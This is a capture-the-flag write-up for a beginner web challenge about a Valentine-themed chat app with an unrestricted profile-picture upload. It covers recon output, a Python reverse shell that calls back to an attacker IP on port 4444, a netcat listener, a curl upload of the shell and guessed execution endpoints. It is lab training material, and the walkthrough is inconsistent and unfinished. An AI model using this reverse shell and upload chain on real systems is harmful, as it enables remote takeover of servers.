Speed Chatting🎉🚩 - Unrestricted File Upload RCE (LFI)

Description
Speed Chatting is an AI Security Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers prompt injection and system configuration vulnerabilities in AI agents, a growing concern in modern cybersecurity.
My Dearest Hacker,
Days before Valentine's Day, TryHeartMe rushed out a new messaging platform called "Speed Chatter", promising instant connections and private conversations. But in the race to beat the holiday deadline, security took a back seat. Rumours are circulating that "Speed Chatter" was pushed to production without proper testing.
As a security researcher, it's your task to break into "Speed Chatter", uncover flaws, and expose TryHeartMe's negligence before the damage becomes irreversible.
You can find the web application here:
http://MACHINE_IP:5000
curl -i http://<IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.5 Python/3.10.12
Date: Fri, 13 Feb 2026 19:19:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12990
Connection: close
<!DOCTYPE html>
<html>
<head>
<title>LoveConnect - Speed Chatter</title>
<meta charset="UTF-8">
</head>
<body>
<div class='container'>
<h1>LoveConnect</h1>
<p class='tagline'>Speed Chat - Find Your Valentine!</p>
<div class='main-grid'>
<!-- Profile Section -->
<div class='profile-card'>
<h3>Your Profile</h3>
<img src='/uploads/profile_d660722c-3f92-43e1-a4dd-c6a80ba5075b.php' class='profile-pic' alt='Profile Picture'
onerror="this.src='data:image/svg+xml,%3Csvg xmlns=%22http://www.w3.org/2000/svg%22 width=%22150%22 height=%22150%22%3E%3Ccircle cx=%2275%22 cy=%2275%22 r=%2275%22 fill=%22%23f48fb1%22/%3E%3Ctext x=%2250%25%22 y=%2250%25%22 text-anchor=%22middle%22 dy=%22.3em%22 fill=%22white%22 font-size=%2250%22%3E\u2764\ufe0f%3C/text%3E%3C/svg%3E'">
<div class='username'>demo</div>
<div class='bio'>Looking for love!</div>
<div class='upload-section'>
<h4>Update Photo</h4>
<form action='/upload_profile_pic' method='post' enctype='multipart/form-data' id='uploadForm'>
<label for='fileInput' class='file-label'>
Choose File
</label>
<input type='file' id='fileInput' name='profile_pic' required>
<div class='file-name' id='fileName'>No file selected</div>
<button type='submit'>Upload</button>
</form>
</div>
</div>
<!-- Chat Section -->
<div class='chat-card'>
<h3>Speed Chat Room</h3>
<div class='chat-container' id='chatContainer'>
<!-- Messages loaded here -->
</div>
<div class='chat-input-container'>
<input type='text' id='chatInput' placeholder='Type your message...' maxlength='200'>
<button id='sendBtn'>Send</button>
</div>
</div>
</div>
</div>
<script>
// File upload
document.getElementById('fileInput').addEventListener('change', function(e) {
const fileName = e.target.files[0]?.name || 'No file selected';
document.getElementById('fileName').textContent = fileName;
});
document.getElementById('uploadForm').addEventListener('submit', function(e) {
const button = this.querySelector('button');
button.textContent = 'Uploading...';
button.disabled = true;
});
// Chat functionality
const chatContainer = document.getElementById('chatContainer');
const chatInput = document.getElementById('chatInput');
const sendBtn = document.getElementById('sendBtn');
function loadMessages() {
fetch('/api/messages')
.then(r => r.json())
.then(messages => {
chatContainer.innerHTML = '';
messages.forEach(msg => {
const div = document.createElement('div');
div.className = 'message' + (msg.user === 'demo' ? ' demo' : '');
// Create text nodes to prevent any HTML rendering
const userDiv = document.createElement('div');
userDiv.className = 'message-user';
userDiv.textContent = msg.user;
const textDiv = document.createElement('div');
textDiv.className = 'message-text';
textDiv.textContent = msg.text;
const timeDiv = document.createElement('div');
timeDiv.className = 'message-time';
timeDiv.textContent = msg.time;
div.appendChild(userDiv);
div.appendChild(textDiv);
div.appendChild(timeDiv);
chatContainer.appendChild(div);
});
chatContainer.scrollTop = chatContainer.scrollHeight;
});
}
function sendMessage() {
const text = chatInput.value.trim();
if (!text) return;
fetch('/api/send_message', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({text: text})
})
.then(r => r.json())
.then(data => {
if (data.success) {
chatInput.value = '';
loadMessages();
}
});
}
sendBtn.addEventListener('click', sendMessage);
chatInput.addEventListener('keypress', function(e) {
if (e.key === 'Enter') {
sendMessage();
}
});
// Load messages on page load and refresh every 3 seconds
loadMessages();
setInterval(loadMessages, 3000);
</script>
</body>
</html>
nmap -sV -p- <IP_Address>
nmap -sV -p- <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 19:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F7B86%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,23A6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.1\.5\x2
SF:0Python/3\.10\.12\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2019:29:09\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x2012990\r\nConnection:\x20close\r\n\r\n\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>LoveConnect\x20-\x20Speed\x20Chatter</tit
SF:le>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<styl
SF:e>\n\x20\x20\x20\x20\x20\x20\x20\x20@import\x20url\('https://fonts\.goo
SF:gleapis\.com/css2\?family=Pacifico&family=Quicksand:wght@400;600&displa
SF:y=swap'\);\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\*\x20{\x20margin:\x200;\x20padding:\x200;\x20box-sizing:\x20bor
SF:der-box;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20body\x20{\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20font-family:\x20'Quicksand',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20background:\x20linear-gradient\(135deg,\x20#ff6
SF:b9d\x200%,\x20#c06c84\x2050%,\x20#f67280\x20100%\);\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20min-height:\x20100vh;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\.heart-bg\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20position:\x20fixed;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:top:\x20-10%;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20left:\x2
SF:00;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20width:\x20100%;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20height:\x20120%;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20overflow:\x20hidden;\n\x20\x2
SF:0\x20\x20\x20")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//
SF:W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http
SF:://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\
SF:x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x
SF:20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\
SF:('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\
SF:x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20sy
SF:ntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</h
SF:tml>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.55 seconds
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,py
Python Reverse Shell
# Simple Python reverse shell
cat > shell.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.81.110.234",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
- Replace
YOUR_ATTACKER_IPwith your AttackBox IP.
Start a listener:
nc -lvnp 4444
Upload the Python file
- using curl:
curl -X POST http://10.81.134.199:5000/upload_profile_pic \ -F "profile_pic=@shell.py"
Now find how to execute it:
Try these endpoints:
# Direct execution endpoints
curl "http://10.49.153.64:5000/run?file=shell.py"
curl "http://10.49.153.64:5000/execute?script=shell.py"
curl "http://10.49.153.64:5000/api/run"
# Or check for an import/include mechanism
curl "http://10.49.153.64:5000/?import=uploads/shell"





